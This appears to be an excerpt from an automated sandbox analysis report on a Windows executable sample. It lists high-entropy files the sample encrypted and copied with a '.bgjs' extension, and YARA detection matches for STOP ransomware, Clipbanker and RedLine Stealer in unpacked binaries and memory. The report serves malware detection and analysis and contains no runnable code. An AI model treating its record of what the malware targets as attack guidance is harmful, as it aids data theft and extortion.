Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt entropy: 7.99820821461	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt entropy: 7.99813772142	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl entropy: 7.99729925725	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml entropy: 7.99592676616	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.99872254078	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite entropy: 7.99856408947	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.9922547581	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99732515015	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99653323588	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.99163745277	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml entropy: 7.99864664461	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99476483326	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session entropy: 7.9908468055	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99303204301	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99253172663	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99067090208	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db entropy: 7.99826024346	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db entropy: 7.99802676293	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db entropy: 7.99717980627	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db entropy: 7.99756970087	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99189537857	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99333950826	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99790093023	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1 entropy: 7.99859764309	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2 entropy: 7.9938429837	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2 entropy: 7.99772616864	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4 entropy: 7.99808600942	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{357ace01-7b14-4f4a-960d-085da55bf3ea}\0.0.filtertrie.intermediate.txt entropy: 7.99452635486	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft entropy: 7.99576032935	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt entropy: 7.99552266401	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3c0bfc12-2764-4044-ad15-d4833a01b073}\Apps.ft entropy: 7.99632486887	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3c0bfc12-2764-4044-ad15-d4833a01b073}\0.0.filtertrie.intermediate.txt entropy: 7.99437028204	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{357ace01-7b14-4f4a-960d-085da55bf3ea}\Apps.ft entropy: 7.99635243159	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt entropy: 7.99809449265	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt entropy: 7.99614957904	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgjs (copy) entropy: 7.9922547581	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy) entropy: 7.99732515015	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy) entropy: 7.99653323588	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgjs (copy) entropy: 7.99163745277	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.bgjs (copy) entropy: 7.99864664461	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy) entropy: 7.99476483326	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.bgjs (copy) entropy: 7.9908468055	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy) entropy: 7.99303204301	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy) entropy: 7.99253172663	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy) entropy: 7.99067090208	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.bgjs (copy) entropy: 7.99826024346	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.bgjs (copy) entropy: 7.99802676293	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.bgjs (copy) entropy: 7.99717980627	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.bgjs (copy) entropy: 7.99756970087	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy) entropy: 7.99189537857	Jump to dropped file
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199673019888[1].htm entropy: 7.99361639297	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 30.2.mstsca.exe.8215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.8215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.8215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.8215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 14.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 14.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 9.2.build3.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 9.2.build3.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 25.2.mstsca.exe.9315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.mstsca.exe.9315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 25.2.mstsca.exe.9315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.mstsca.exe.9315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 17.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 17.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 9.2.build3.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 9.2.build3.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 14.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 14.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 17.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 17.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 3.2.AaIo4VGgvO.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.AaIo4VGgvO.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.AaIo4VGgvO.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.AaIo4VGgvO.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 24.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 24.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.AaIo4VGgvO.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.AaIo4VGgvO.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.AaIo4VGgvO.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.AaIo4VGgvO.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.AaIo4VGgvO.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.AaIo4VGgvO.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.AaIo4VGgvO.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.AaIo4VGgvO.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.AaIo4VGgvO.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.AaIo4VGgvO.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.AaIo4VGgvO.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.AaIo4VGgvO.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000002.1944837632.00000000009FC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.1854481318.0000000000A2D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000007.00000002.1730589370.0000000001C8E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000002.2401576580.0000000000960000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001E.00000002.3633295170.0000000000840000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000017.00000002.2097463056.0000000004403000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1653647341.0000000004494000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000002.1828065109.000000000443F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
